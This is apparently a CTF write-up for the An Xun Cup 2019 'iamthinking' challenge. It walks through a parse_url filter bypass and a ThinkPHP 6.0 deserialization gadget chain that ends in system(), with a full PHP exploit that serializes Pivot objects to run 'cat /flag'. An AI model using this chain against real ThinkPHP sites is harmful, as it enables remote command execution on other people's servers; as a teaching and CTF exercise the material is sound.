当前位置:网站首页>[an Xun cup 2019]iamthinking
[an Xun cup 2019]iamthinking
2022-06-12 12:35:00 【Arnoldqqq】
/www.zip Download the source code
adopt README As you can see, yes ThinkPHP6.0.
Currently, you can only access /public/index.php,
About this framework index.php 【thinkphp6 Source code analysis one 】 The first place index.php - For a thousand years - Blog Garden
Search the whole picture unserialize, Found in app/controller/Index.php There is a place for deserialization under .

There are filters , adopt parse_url Defect bypass : parse_url Summary - tr1ple - Blog Garden
- In analytic form such as http://xxx.com///index.php?payload=cmd In this way URI when parse_url Returns the false Come on bypass, Parameter payload There is still a
- compress.zlib://data:@127.0.0.1/plain;base64, Data can be passed in directly
meanwhile payload Parameter controllable , adopt GET Way can be passed to .
Next, we need to find the point of the inverse sequence , Reference resources :[ An Xun Cup 2019]iamthinking&&thinkphp6.0 Deserialization vulnerability - op_hxc - Blog Garden mysql Deserialization _ From one CTF Learn from the topic ThinkPHP Deserialization _weixin_39710361 The blog of -CSDN Blog Two blog posts for audit
Of course, some big guys have written ready-made tools https://github.com/wh1t3p1g/phpggc
However, I still hope to master the framework code and audit these projects with a large amount of code
Global search __destruct(), Check in turn ,Mongo The place is not available free,close Can't use it , Just release the parameters ,connection Treatment of the same reason .
Look at Model.php, To follow up save function


You can't let this go back false, That is, we need to meet $this->isEmpty() Don't set up ,$this->trigger('BeforeWrite') by TRUE. notice isEmpty function

this->data Not empty , To follow up tigger:

Give Way $this->withEvent by flase that will do .
go back to save function , To follow up upadteData Method .
protected function updateData(): bool { // Event callback if (false === $this->trigger('BeforeUpdate')) { return false; } $this->checkData(); // Get updated data $data = $this->getChangedData(); if (empty($data)) { // Association update if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } return true; } if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { // Automatic write update time $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); $this->data[$this->updateTime] = $data[$this->updateTime]; } // Check the allowed fields $allowFields = $this->checkAllowFields(); foreach ($this->relationWrite as $name => $val) { if (!is_array($val)) { continue; } foreach ($val as $key) { if (isset($data[$key])) { unset($data[$key]); } } } // Model update $db = $this->db(); $db->startTrans(); try { $where = $this->getWhere(); $result = $db->where($where) ->strict(false) ->field($allowFields) ->update($data); $this->checkResult($result); // Association update if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } $db->commit(); // Update callback $this->trigger('AfterUpdate'); return true; } catch (\Exception $e) { $db->rollback(); throw $e; } } |

Follow up on this checkAllowFields()
Found character splicing , Can be used to trigger __toString.
The condition for entering this step is : $this->field It's empty , And $this->schema Also empty .
namely : $this->field = []; $this->schema = [];
At the same time, there is a judgment , namely $this->table, When it comes to true Yes to perform string splicing .
So in order for this method to be called to , We're going to let exists There is .
namely $this->exists =True
Global search toString Magic methods , stay Conversion.php among .

Keep looking at tojson This function :

Follow up to toArray Method .
public function toArray(): array { $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } } // Merge associated data $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // Associate model objects if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // Associate model objects if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } } // Add attributes ( The accessor must be defined ) foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); } return $item; } |

See again getAttr Method :

To follow up getData Method :

Enter into getRealFieldName Method :

If $this->strict by True, return $name.
Then getData In the method :
$this->data[$fielName] = $this->data[$key]
Then getAttr The middle is : $this->getValue($key, $value, null);
To follow up getvalue:
protected function getValue(string $name, $value, $relation = false) { // Detect property getter $fieldName = $this->getRealFieldName($name); $method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); } if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { //$fieldName = a //withAttr[a] = system $closure = $this->withAttr[$fieldName]; //value = system(ls,) $value = $closure($value, $this->data); } } elseif (method_exists($this, $method)) { if ($relation) { $value = $this->getRelationValue($relation); } $value = $this->$method($value, $this->data); } elseif (isset($this->type[$fieldName])) { // Type conversion $value = $this->readTransform($value, $this->type[$fieldName]); } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) { $value = $this->getTimestampValue($value); } elseif ($relation) { $value = $this->getRelationValue($relation); // Save associated object values $this->relation[$name] = $value; } return $value; } |

is_array($this->withAttr[$fieldName]) As long as this is not true, it will trigger to the point where the last command is executed , namely $this->withAttr[$fieldName] Not an array
In the end, it was carried out system("ls", ["xxx"=>"ls"]), and system The second argument to the function is optional , That is, this usage is legal
End use chain :
think\Model --> __destruct() think\Model --> save() think\Model --> updateData() think\Model --> checkAllowFields() think\Model --> db() The second half uses the chain ( Same as tp 5.2 The second half uses the chain ) think\model\concern\Conversion --> __toString() think\model\concern\Conversion --> __toJson() think\model\concern\Conversion --> __toArray() think\model\concern\Attribute --> getAttr() think\model\concern\Attribute --> getValue() |
Exp:
<?php namespace think\model\concern { trait Conversion { } trait Attribute { private $data; private $withAttr = ["xxx" => "system"]; public function get() { $this->data = ["xxx" => "cat /flag"]; } } } namespace think{ abstract class Model{ use model\concern\Attribute; use model\concern\Conversion; private $lazySave; protected $withEvent; private $exists; private $force; protected $field; protected $schema; protected $table; function __construct(){ $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->field = []; $this->schema = []; $this->table = true; } } } namespace think\model{ use think\Model; class Pivot extends Model { function __construct($obj='') { // Definition this->data Not empty parent::__construct(); $this->get(); $this->table = $obj; } } $a = new Pivot(); $b = new Pivot($a); echo urlencode(serialize($b)); } |
http://9dda91b3-c6bf-4eb1-94f5-64d7f3359e5f.node4.buuoj.cn:81///public/?payload=
Submission can

边栏推荐
- A short guide to SSH port forwarding
- Macro compilation preprocessing header Win32_ LEAN_ AND_ MEAN
- C语言进阶篇——浮点型在内存中的存储
- Deep analysis of advanced pointer -- advanced chapter of C language
- Examples of Cartesian product and natural connection of relational algebra
- Tron API wave field transfer query interface PHP version package based on thinkphp5 attached interface document 20220528 version
- Problems encountered in generating MP3 from text to speech through iFLYTEK voice API
- SEO optimization of web pages
- Quantization and Training of Neural Networks for Efficient Integer-Arithmetic-Only Inference
- itkMultiResolutionImageRegistrationMethod
猜你喜欢

WebStorage

JS attribute operation and node operation

Advanced C language -- storage of deep anatomical data in memory (with exercise)

二叉树(构造篇)

This direction of ordinary function and arrow function

You can't just use console Log ()?

【数据库】navicat --oracle数据库创建

Promise understanding has used promise to realize picture preloading (sequential loading)

Quantization and Training of Neural Networks for Efficient Integer-Arithmetic-Only Inference

Reasons for college students' leave
随机推荐
Kdd2022 | edge information enhancement graph transformer
Advanced C language -- storage of deep anatomical data in memory (with exercise)
NDT registration principle
Micro task, macro task and event loop of JS
Advanced C language -- storage of floating point in memory
JS method of exporting DOM as picture
vtk 三视图
Rust语言学习
JS how to get the values of multiple objects in an array
Vim,Gcc,Gdb
AND THE BIT GOES DOWN: REVISITING THE QUANTIZATION OF NEURAL NETWORKS
In depth anatomy of C language - key words & supplementary contents
JS pre parsing, object, new keyword
三维坐标点拟合球(matlab and C )
SWI-Prolog的下载与使用
获取本机所有ipv4, ipv6地址
二叉树(纲领篇)
元宇宙是短炒,还是未来趋势?
Autolock solves the problem of forgetting to unlock after locking
[译] QUIC Wire Layout Specification - Packet Types and Formats | QUIC协议标准中文翻译(2) 包类型和格式